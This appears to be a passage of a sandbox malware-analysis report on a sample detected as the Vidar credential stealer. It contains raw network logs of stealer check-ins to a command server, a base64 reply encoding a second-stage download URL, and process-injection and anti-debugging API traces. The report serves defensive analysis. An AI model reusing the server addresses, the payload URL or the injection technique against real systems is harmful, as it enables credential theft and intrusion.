2024-10-03 01:36:27 UTC	16355	OUT	Data Raw: 4d 73 54 33 50 34 30 30 6e 33 70 70 4e 4c 6d 4c 55 52 32 34 35 4e 49 54 6d 6b 4a 7a 53 5a 35 70 58 5a 64 6b 49 65 39 4a 6e 74 53 30 6c 4b 35 51 66 30 70 41 50 70 52 30 6f 7a 2f 4f 69 34 78 4b 43 63 39 38 30 63 5a 7a 53 48 6d 67 59 6d 61 54 4f 4f 6c 4c 30 37 30 6e 35 55 44 44 50 50 46 49 63 39 4f 61 41 66 66 72 51 66 78 6f 47 49 61 51 6e 4e 4c 53 55 68 69 64 36 4f 6c 42 36 38 30 44 2f 41 4f 74 51 4d 54 6f 78 6f 4e 42 2f 4f 6a 2b 58 76 51 41 68 4a 42 70 4f 67 70 65 76 34 55 59 6f 75 4d 54 70 52 52 52 79 42 36 30 68 6e 6f 74 46 46 46 51 66 49 42 52 57 72 34 66 73 49 64 52 31 50 37 50 4f 43 55 4b 45 38 48 48 4e 64 55 6e 67 79 7a 59 5a 43 6a 2f 76 74 71 38 72 46 35 76 52 77 74 62 32 4d 6f 74 75 31 39 4c 66 71 30 65 78 67 63 6c 78 47 4d 70 65 32 70 74 4a 58 74 Data Ascii: MsT3P400n3ppNLmLUR245NITmkJzSZ5pXZdkIe9JntS0lK5Qf0pAPpR0oz/Oi4xKCc980cZzSHmgYmaTOOlL070n5UDDPPFIc9OaAffrQfxoGIaQnNLSUhid6OlB680D/AOtQMToxoNB/Oj+XvQAhJBpOgpev4UYouMTpRRRyB60hnotFFFQfIBRWr4fsIdR1P7POCUKE8HHNdUngyzYZCj/vtq8rF5vRwtb2Motu19Lfq0exgclxGMpe2ptJXt
2024-10-03 01:36:27 UTC	15734	OUT	Data Raw: 55 64 36 50 78 6f 47 42 2f 72 54 53 4b 64 53 63 30 78 69 55 6d 65 61 55 39 61 53 67 59 6d 4b 4b 57 6a 48 35 30 68 69 55 6d 4d 66 6e 53 6d 6b 6f 47 47 4b 54 76 51 65 4b 4d 66 6a 51 4d 51 30 55 47 6a 76 51 41 55 6e 42 36 38 30 55 65 31 41 78 44 78 36 55 64 2f 65 67 39 63 64 4b 42 78 51 4d 44 7a 53 64 66 65 6c 78 52 6d 67 42 43 4b 51 2f 35 35 70 65 67 7a 2b 46 4a 51 4d 39 45 6f 6f 6f 71 44 35 49 36 54 77 54 2f 79 47 5a 76 2b 76 64 76 2f 41 45 4a 61 37 53 38 50 2b 69 79 66 68 2f 4d 56 78 66 67 72 2f 6b 4d 7a 66 39 65 37 66 2b 68 4c 58 59 58 7a 34 74 38 66 33 6d 41 2f 72 2f 53 76 7a 7a 69 56 2f 77 43 32 76 30 52 2b 6a 63 4d 4c 2f 59 56 36 73 71 78 47 69 2f 73 78 71 47 6e 54 57 75 2f 5a 35 67 47 47 39 43 43 43 50 35 55 6b 58 61 72 63 64 66 4f 55 71 6b 71 63 31 Data Ascii: Ud6PxoGB/rTSKdSc0xiUmeaU9aSgYmKKWjH50hiUmMfnSmkoGGKTvQeKMfjQMQ0UGjvQAUnB680Ue1AxDx6Ud/eg9cdKBxQMDzSdfelxRmgBCKQ/55pegz+FJQM9EoooqD5I6TwT/yGZv+vdv/AEJa7S8P+iyfh/MVxfgr/kMzf9e7f+hLXYXz4t8f3mA/r/SvzziV/wC2v0R+jcML/YV6sqxGi/sxqGnTWu/Z5gGG9CCCP5UkXarcdfOUqkqc1
2024-10-03 01:36:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:28 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49745	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:28 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:28 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------JEHDHIEGIIIDHIDHDHJJCont
2024-10-03 01:36:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:29 UTC	91	IN	Data Raw: 35 30 0d 0a 4d 54 49 32 4e 6a 6b 79 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 32 45 30 4d 7a 51 34 4e 6a 45 79 4f 44 4d 30 4e 79 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 50MTI2NjkyMnxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zL2E0MzQ4NjEyODM0Ny5leGV8MXxra2trfA==0

Target ID:	0
Start time:	21:35:26
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa90000
File size:	418'480 bytes
MD5 hash:	37EC6AC7A655216941A30DC46FE1B189
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:35:26
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	21:35:27
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x9d0000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.8%
Total number of Nodes:	984
Total number of Limit Nodes:	7

Executed Functions

Function 6E7F9DF0 Relevance: 85.8, APIs: 18, Strings: 27, Instructions: 7065injectionmemorythreadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 6E7FF193
ShowWindow.USER32 ref: 6E7FF1A9
VirtualAlloc.KERNELBASE(?,?,?,?,?), ref: 6E7FF2E3
CreateProcessW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E7FF43E
VirtualAllocEx.KERNELBASE(?,?,?,?,?,?), ref: 6E7FF618
VirtualAllocEx.KERNEL32(?,?,?,?,?,?), ref: 6E7FF779
WriteProcessMemory.KERNELBASE(?,?,?,?,?,?,?), ref: 6E7FF828
WriteProcessMemory.KERNELBASE ref: 6E7FFA61
ReadProcessMemory.KERNEL32 ref: 6E80042D
WriteProcessMemory.KERNEL32(?,?,?,?,?,?), ref: 6E8004B3
WriteProcessMemory.KERNELBASE(?,?,?,?,?,?), ref: 6E8008C4
Wow64SetThreadContext.KERNEL32 ref: 6E800914
ResumeThread.KERNELBASE ref: 6E800991
CloseHandle.KERNEL32 ref: 6E800A2C
CloseHandle.KERNEL32 ref: 6E800A40
WriteProcessMemory.KERNEL32(?,?,?,?,?,?,?), ref: 6E800F54
ResumeThread.KERNEL32 ref: 6E8010B9

Strings

}mH, xrefs: 6E7F9DFC
;}UH, xrefs: 6E7FC9C0
|M+, xrefs: 6E7FF2A1
kernel32.dll, xrefs: 6E7FF1AF
Y*J, xrefs: 6E7FEA52
?35, xrefs: 6E7FE236
\ion, xrefs: 6E7FE4F5
Y*J, xrefs: 6E7FEAC8
57(, xrefs: 6E800435
$`[2, xrefs: 6E8007EC
ntdll.dll, xrefs: 6E7FF1C3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6E7FF3BC
o}La, xrefs: 6E7FC2F0
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6E7FF38B
@, xrefs: 6E7FF771
"wC, xrefs: 6E7FD3EE
D, xrefs: 6E7FF358
N3`, xrefs: 6E7FF085
rRNe, xrefs: 6E7F9E47
N3`, xrefs: 6E7FF03C
Vs, xrefs: 6E7FD281
G*d), xrefs: 6E7FF7CE
:/U|, xrefs: 6E7FC213
G*d), xrefs: 6E7FF8C3
tof, xrefs: 6E7FD606
onA , xrefs: 6E7FCCF9
0*|, xrefs: 6E7FC708

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: Process$Memory$Write$AllocThreadVirtual$CloseHandleResumeWindow$ConsoleContextCreateReadShowWow64
String ID: "wC$$`[2$57($:/U|$;}UH$?35$@$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$G*d)$G*d)$N3`$N3`$Vs$Y*J$Y*J$\ion$kernel32.dll$ntdll.dll$onA $o}La$rRNe$tof$|M+$}mH$0*|
API String ID: 1613124053-3344266483
Opcode ID: e21aca25d489973a0baa28dc6c439089467ad9334a6c43196acd8a417fd89ab0
Instruction ID: 814aa8c84bcacb7b6e233375c0ad389b930b9c581675353a93bee540274b2dfc
Opcode Fuzzy Hash: e21aca25d489973a0baa28dc6c439089467ad9334a6c43196acd8a417fd89ab0
Instruction Fuzzy Hash: A2C3C336A44219CFCB54CEADCE947DA77F1AB47324F00499AD819EB364C6369E89CF01

Function 6E7F7510 Relevance: 32.9, APIs: 15, Strings: 3, Instructions: 1449filememoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?), ref: 6E7F7B62
GetModuleFileNameA.KERNEL32 ref: 6E7F7D26
CreateFileA.KERNELBASE ref: 6E7F7D6A
CreateFileMappingA.KERNEL32 ref: 6E7F7E14
CloseHandle.KERNEL32 ref: 6E7F8025
VirtualProtect.KERNELBASE ref: 6E7F86BC
CloseHandle.KERNELBASE ref: 6E7F89C5
CloseHandle.KERNEL32 ref: 6E7F8A43
CloseHandle.KERNEL32 ref: 6E7F8A55
GetModuleHandleA.KERNEL32 ref: 6E7F8B7B

Strings

}mH, xrefs: 6E7F7525
O>&|, xrefs: 6E7F7BA0
@, xrefs: 6E7F85A8

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: Handle$Close$File$CreateModule$CurrentMappingNameProcessProtectVirtual
String ID: @$O>&|$}mH
API String ID: 4094253665-349066882
Opcode ID: 0217216b565298a2b451a2480a79fdb8a75d2d1f958ed57b5bedd759da943e52
Instruction ID: 1e84d048af3d0948216ee6249cf064a49f0c16dd47f58dbe2267c8ae342899a6
Opcode Fuzzy Hash: 0217216b565298a2b451a2480a79fdb8a75d2d1f958ed57b5bedd759da943e52
Instruction Fuzzy Hash: DEC2F075A44615CFDB14CFBDCAA47CA7BF1AB46310F008199D859EB3A0D7358A8ACF81

Function 6E7F9610 Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 6E7F962E

Strings

}mH, xrefs: 6E7F961B
7`7, xrefs: 6E7F98AB
P/hJ, xrefs: 6E7F98A6
NtQueryInformationProcess, xrefs: 6E7F9639
ntdll.dll, xrefs: 6E7F9625
O&Y0, xrefs: 6E7F9B12
pUNS, xrefs: 6E7F9996
P/hJ, xrefs: 6E7F9917
7`7, xrefs: 6E7F9BE7
pUNS, xrefs: 6E7F9A0F

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: 7`7$7`7$NtQueryInformationProcess$O&Y0$P/hJ$P/hJ$ntdll.dll$pUNS$pUNS$}mH
API String ID: 4139908857-1130171200
Opcode ID: 8986875a265e3284df7b0386b02a2fa5092105d0499d42239d68a82ba9c79bc2
Instruction ID: f88dbd989beb7aba940e5592d1010c86a24e1c382e250826f0830925084b1ed1
Opcode Fuzzy Hash: 8986875a265e3284df7b0386b02a2fa5092105d0499d42239d68a82ba9c79bc2
Instruction Fuzzy Hash: EEE1AF36A55205CFCB08CEFDC6943CE7BE2AB57320F14512AD825EB364D63A994ACB41

Function 6E80BABE Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E80BB05
___scrt_uninitialize_crt.LIBCMT ref: 6E80BB1F

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: a539c52eeab8e408e95e23f5506504f47f44cb526250b4855cb42a653c9f6008
Instruction ID: bee782192a292a7a9e7485e90811731ce94edb74bf276b0acfac055dc2ca2ae7
Opcode Fuzzy Hash: a539c52eeab8e408e95e23f5506504f47f44cb526250b4855cb42a653c9f6008
Instruction Fuzzy Hash: B141C472E05659EFDB608FDDCC40BAE76B8EF417A4F014D19E814672A8D7704D41CBA0

Function 6E80BB6E Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6E80BBAB
dllmain_crt_dispatch.LIBCMT ref: 6E80BBC2
dllmain_raw.LIBCMT ref: 6E80BC0A
dllmain_crt_dispatch.LIBCMT ref: 6E80BC1D
dllmain_raw.LIBCMT ref: 6E80BC30

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c80ba8583cab5468f407d8df57b0ee173744fb1becbd65ba23c0238e9fe835cd
Instruction ID: 0da9f0d3d69b46444adeda204618436617184d7e1826cddbc1ee58973f5ce612
Opcode Fuzzy Hash: c80ba8583cab5468f407d8df57b0ee173744fb1becbd65ba23c0238e9fe835cd
Instruction Fuzzy Hash: 8E21A371E01619EFDBA18ED9CC90EAF3A68DF81B94F014D19F81467268D7318D418BE0

Function 6E80B9B7 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E80BA04

Part of subcall function 6E80BED3: InitializeSListHead.KERNEL32(6E880CC0,6E80BA0E,6E81ED80,00000010,6E80B99F,?,?,?,6E80BBC7,?,00000001,?,?,00000001,?,6E81EDC8), ref: 6E80BED8

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E80BA6E

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: a604ca9a55246308afe6e6e986fe050aec5d544e2cec868262a8f5aa641075fb
Instruction ID: f57a4eda165d4b533aee0430204b7f8d922d96c738fe44cccb6ebf483c6ee239
Opcode Fuzzy Hash: a604ca9a55246308afe6e6e986fe050aec5d544e2cec868262a8f5aa641075fb
Instruction Fuzzy Hash: 4D210F3228A6079FEB50AFFC9C187DE37668F0336CF100C19D9557B2C6DB254184CAA2

Function 6E8138E1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6E81392D
GetFileType.KERNELBASE(00000000), ref: 6E81393F

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 9f69d78c207dfbd9a80aea485114126b021385c97b8f9ac5d2ea20ca7377c455
Instruction ID: b212dbdefaed94099e06d35353cdc34f235d6f281500801e2e2da65c048a58cd
Opcode Fuzzy Hash: 9f69d78c207dfbd9a80aea485114126b021385c97b8f9ac5d2ea20ca7377c455
Instruction Fuzzy Hash: F511E17160CB478AC7204ABF8C9C796FA95A787230B260F5ED4BA925F1C734D886C280

Non-executed Functions

Function 6E8044A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E8044AE
%p;2, xrefs: 6E80462A
%p;2, xrefs: 6E8045DE

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %p;2$%p;2$}mH
API String ID: 0-4058848594
Opcode ID: 1df655931d8d847b82ffe247cb2d3b305029c1c8937d4cacf8913cef6ceb3a81
Instruction ID: 5d2919887bc2698bd6b5e57af093e6bd3e8c5fbb4ed7f4da218d2eeb434b186e
Opcode Fuzzy Hash: 1df655931d8d847b82ffe247cb2d3b305029c1c8937d4cacf8913cef6ceb3a81
Instruction Fuzzy Hash: 61710976A8050A8FDF04CEFCC9A13EF77F2AB97314F105915D8259B395C63A890A8B91

Function 6E81019C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6E810294
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6E81029E
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6E8102AB

Strings

}mH, xrefs: 6E8101A7

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: }mH
API String ID: 3906539128-246349140
Opcode ID: 04012e461d60c65ceeefa1a66f314663f15748169e2bdaffeb1c6b083b5c84bc
Instruction ID: 2bbc1371046c258a685257503cd79cff5b665cdd288100c44ac9b9dc5defd0b3
Opcode Fuzzy Hash: 04012e461d60c65ceeefa1a66f314663f15748169e2bdaffeb1c6b083b5c84bc
Instruction Fuzzy Hash: 5931047091122D9BCB61DF68DD887CCBBB8BF08310F1046EAE81CA7290E7709B858F45

Function 6E8010E0 Relevance: 6.7, Strings: 5, Instructions: 472COMMONLIBRARYCODE

Download Yara Rule

Strings

}mH, xrefs: 6E8010F9
N!"5, xrefs: 6E8016EE
=M, xrefs: 6E801539
N!"5, xrefs: 6E80173C
zi2, xrefs: 6E801103

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =M$N!"5$N!"5$zi2$}mH
API String ID: 0-1452745638
Opcode ID: 1a71a143ec24f8e0c1d4e3b319926c0c6da71d0da645d297715976dd6d4b7af5
Instruction ID: 5054375cde85ee7e590e66eeb9540eeb20f2d38315127d0f609089f54ec4b765
Opcode Fuzzy Hash: 1a71a143ec24f8e0c1d4e3b319926c0c6da71d0da645d297715976dd6d4b7af5
Instruction Fuzzy Hash: 45F10676A451098FCF04CEEDDA903DD7BF2AB4B368F204919D811E7394D63A9E0D8B15

Function 6E80C1F2 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6E80C1FE
IsDebuggerPresent.KERNEL32 ref: 6E80C2CA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E80C2E3
UnhandledExceptionFilter.KERNEL32(?), ref: 6E80C2ED

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
